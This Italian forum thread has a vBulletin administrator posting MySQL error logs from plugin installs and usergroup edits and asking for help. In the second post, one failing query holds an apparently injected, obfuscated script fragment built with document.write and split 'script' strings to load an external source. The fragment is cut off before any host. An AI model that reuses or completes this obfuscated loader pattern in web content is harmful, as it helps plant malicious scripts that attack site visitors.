Visualizzazione risultati 1 fino 2 di 2

Discussione: Errori vari MySql con il vbulletin

  1. #1
    Guest

    Predefinito Errori vari MySql con il vbulletin

    Oggi il mio forum mi da molti errori di database chi mi può aiutare?Ecco degli esempi:

    Mentre volevo uppare un prodotto:
    Codice:
    Database error in vBulletin 3.7.0:
    
    Invalid SQL:
    ALTER TABLE `dl_cats` CHANGE `desc` `description` TEXT NOT NULL;
    
    MySQL Error   : Duplicate column name 'description'
    Error Number  : 1060
    Request Date  : Friday, June 20th 2008 @ 06:31:00 PM
    Error Date    : Friday, June 20th 2008 @ 06:31:02 PM
    Script        : http://consolleworlds.altervista.org/forum/admincp/plugin.php?do=productimport
    Referrer      : http://consolleworlds.altervista.org/forum/admincp/plugin.php?do=productadd
    IP Address    : 151.32.27.48
    Username      : Alex94
    Classname     : vb_database
    MySQL Version : 4.1.22-standard-log
    E mentre tentavo di cancellarne un altro:
    Codice:
    Database error in vBulletin 3.7.0:
    
    Invalid SQL:
    
    DROP TABLE `vbtube_tubes`;
    
    MySQL Error   : Unknown table 'vbtube_tubes'
    Error Number  : 1051
    Request Date  : Friday, June 20th 2008 @ 06:32:08 PM
    Error Date    : Friday, June 20th 2008 @ 06:32:08 PM
    Script        : http://consolleworlds.altervista.org/forum/admincp/plugin.php?do=productkill
    Referrer      : http://consolleworlds.altervista.org/forum/admincp/plugin.php?do=productdelete&productid=vbtube&s=
    IP Address    : 151.32.27.48
    Username      : Alex94
    Classname     : vb_database
    MySQL Version : 4.1.22-standard-log
    Mentre creavo un gruppo utente:

    Codice:
    Database error in vBulletin 3.7.0:
    
    Invalid SQL:
    
    ### INSERT QUERY GENERATED BY fetch_query_sql() ###
    INSERT INTO usergroup
        (`title`, `description`, `usertitle`, `opentag`, `closetag`, `passwordexpires`, `passwordhistory`, `ispublicgroup`, `canoverride`, `memberindex`, `mgc_cb_evo_permissions`, `mgc_cb_evo_nbmsg_show`, `mgc_cb_evo_nbmsg_perday_show`, `vbtube`, `forumpermissions`, `genericpermissions`, `attachlimit`, `pmquota`, `pmpermissions`, `pmsendmax`, `calendarpermissions`, `wolpermissions`, `adminpermissions`, `genericpermissions2`, `genericoptions`, `profilepicmaxwidth`, `profilepicmaxheight`, `profilepicmaxsize`, `avatarmaxwidth`, `avatarmaxheight`, `avatarmaxsize`, `signaturepermissions`, `sigpicmaxwidth`, `sigpicmaxheight`, `sigpicmaxsize`, `sigmaxrawchars`, `sigmaxchars`, `sigmaxlines`, `sigmaxsizebbcode`, `sigmaximages`, `albumpermissions`, `albumpicmaxwidth`, `albumpicmaxheight`, `albumpicmaxsize`, `albummaxpics`, `albummaxsize`, `usercsspermissions`, `visitormessagepermissions`, `socialgrouppermissions`)
    VALUES
        ('Appartenente Clan [@!#]', 'Appartenenti al clan [@!#]', 'Membro [@!#]', '<i>', '</i>', '', '', '0', '1', '63', '0', '', '', '7', '651511', '2626563', '1000000', '0', '0', '5', '0', '1', '0', '0', '41', '100', '100', '25000', '150', '150', '20000', '0', '', '', '', '', '', '', '7', '', '0', '', '', '', '', '', '0', '0', '0');
    
    MySQL Error   : Unknown column 'mgc_cb_evo_permissions' in 'field list'
    Error Number  : 1054
    Request Date  : Friday, June 20th 2008 @ 06:50:55 PM
    Error Date    : Friday, June 20th 2008 @ 06:50:55 PM
    Script        : http://consolleworlds.altervista.org/forum/admincp/usergroup.php?do=update
    Referrer      : http://consolleworlds.altervista.org/forum/admincp/usergroup.php?do=add
    IP Address    : 151.32.27.48
    Username      : Alex94
    Classname     : vb_database
    MySQL Version : 4.1.22-standard-log

  2. #2
    Guest

    Predefinito

    Ci sono altri errori :(

    Database error in vBulletin 3.7.0:

    Invalid SQL:

    SELECT grouptitle
    FROM adv_settinggroup
    WHERE (grouptitle LIKE 'adv_portal%' OR grouptitle = 'adv_global')
    AND grouptitle NOT IN('adv_portal_buddylist', 'adv_portal_poll', 'adv_portal_custompage', 'adv_portal_calendar', 'adv_portal_news', 'adv_portal_newsarchive', 'adv_portal_onlineusers', 'adv_portal_vba_tags', 'adv_portal_<script type="text/javascript"> //<![CDATA[ document.write('<s'+'cript type="text/javascript" src="h', 'adv_portal_latestthreads', 'adv_portal_navigation', 'adv_portal_stats', 'adv_portal_birthdays', 'adv_portal_welcomeblock')
    ORDER BY displayorder;

    MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''+'cript type="text/javascript" src="h', 'adv_portal_latestthrea
    Error Number : 1064
    Request Date : Sunday, June 29th 2008 @ 07:29:50 PM
    Error Date : Sunday, June 29th 2008 @ 07:29:50 PM
    Script : http://consolleworlds.altervista.org...modifysettings
    Referrer : http://consolleworlds.altervista.org...modifysettings
    IP Address : 151.32.30.212
    Username : Alex94
    Classname : vb_database
    MySQL Version : 4.1.22-standard-log
    Ma come faccio a correggere questi errori del MySql?Vi prego aiutatemi non riesco a fare niente sennò...

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •